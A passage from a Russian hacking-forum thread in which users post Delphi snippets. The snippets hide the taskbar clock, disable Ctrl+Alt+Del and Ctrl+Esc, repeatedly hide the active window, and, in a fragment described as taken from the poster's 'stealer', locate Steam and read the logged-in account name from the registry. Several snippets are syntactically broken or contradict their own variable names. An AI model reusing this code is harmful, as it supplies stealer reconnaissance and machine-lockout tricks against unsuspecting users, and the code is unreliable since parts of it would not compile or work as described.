Несколько шпор по Delphi =)

Joined
Feb 21, 2017
Messages
463
Reaction score
77
Привет =) Это тема создана для новичков. Тут я выложу несколько шпор по Delphi.
1) Данный код удаляет часы с панели задачи.
[HIDE=5]
Code:
Wnd:THandle;
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd1, nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass \ n i l ) ;
ShowWindow(Wnd, SW_HIDE);
end;
[/HIDE]
2) Тут мы отрубаем сочетание Ctrl+Alt+Delet.
[HIDE=5]
Code:
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, Si, 0);
end;
[/HIDE]
3) А тут мы отрубаем сочетание Ctrl+Esc.
[HIDE=5]
Code:
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
end;
[/HIDE]
4) А тут написано исчезновение чужого окна.
[HIDE=5]
Code:
var
n:HWND;
begin
while true do
begin
h:=GetForegroundWindow;
ShowWindow(h,SW_HIDE) ;
Sleep(2000);
end;
end;
[/HIDE]
Ну вот и все ) На сегодня хватит =D
 

snr93

Member
Joined
Feb 12, 2017
Messages
2,590
Reaction score
104
Age
31
Статья "Как сделать так, чтобы ваша прога палилась вообще всем" :) Без обид, автор)

Вот тебе еще набросал из своего стиллера древнего.
Как узнать есть ли на компе программа и найти где она установлена:
Code:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, StdCtrls, ComCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    ProgressBar1: TProgressBar;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Reg : TRegistry;  //переменная для работы с реестром
  SteamPath : string; //храним путь до STEAM
  CurrentSteamUser : string; //храним имя последнего логина STEAM

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
//!!!===========Проверяем, а есть ли вообще Steam==============!!!//
  Reg := TRegistry.Create;
  if not Reg.OpenKey('SOFTWARE\Valve\Steam\', false) then
  begin
  Reg.Free;
    //ShowMessage('Steam не найден');
  Application.Terminate
  end else
//!!!=============Если Steam есть, то=====================!!!//
  ProgressBar1.Max := 100; //говорим что ProgressBar имеет максимальное значение 100
  ProgressBar1.Position := ProgressBar1.Position +10;

  Reg := Tregistry.Create(KEY_READ); //говорим что нам нужно только чтение реестра
  Try
    Reg.RootKey := HKEY_CURRENT_USER; //говорим что будем работать с этой веткой
    Reg.OpenKeyReadOnly('SOFTWARE\Valve\Steam');
      //Memo1.Lines.Add (reg.CurrentPath); //для теста, смотрим где мы
    SteamPath := reg.ReadString('SteamExe');
    ProgressBar1.Position := ProgressBar1.Position +30;

      //Memo1.Lines.Add (SteamPath); //для теста, выводим путь до Steam
    CurrentSteamUser := reg.Readstring('AutoLoginUser'); //храним имя авторизованного пользователя
    ProgressBar1.Position := ProgressBar1.Position +30;

      //Memo1.Lines.Add (CurrentSteamUser); //для теста, выводим имя пользователя Steam
  //производим действия с реестром
  Finally
    Reg.Free;  //закрываем работу с реестром
    ProgressBar1.Position := ProgressBar1.Position +30;
  //!!!===================Тут код, когда нашли Steam путь и имя учетки===========================!!!//
  //if ProgressBar1.Position := ProgressBar1.Max then
  begin
  //тут код, если прогресс бар заполнен
    end;
      end;
        end;
end.
 

snr93

Member
Joined
Feb 12, 2017
Messages
2,590
Reaction score
104
Age
31
4) А тут написано исчезновение чужого окна.
Скрытый контент. Для просмотра информации необходимо 5 сообщений.

Код:
var
n:HWND;
begin
while true do
begin
h:=GetForegroundWindow;
ShowWindow(h,SW_HIDE) ;
Sleep(2000);
end;
end;

кхм. Где тут скрытие чужого окна? Тут скрытие активного окна. Ты в переменную h загнал хендл активного окна. А если активного окна не будет, код вообще не отработает :)
 
Top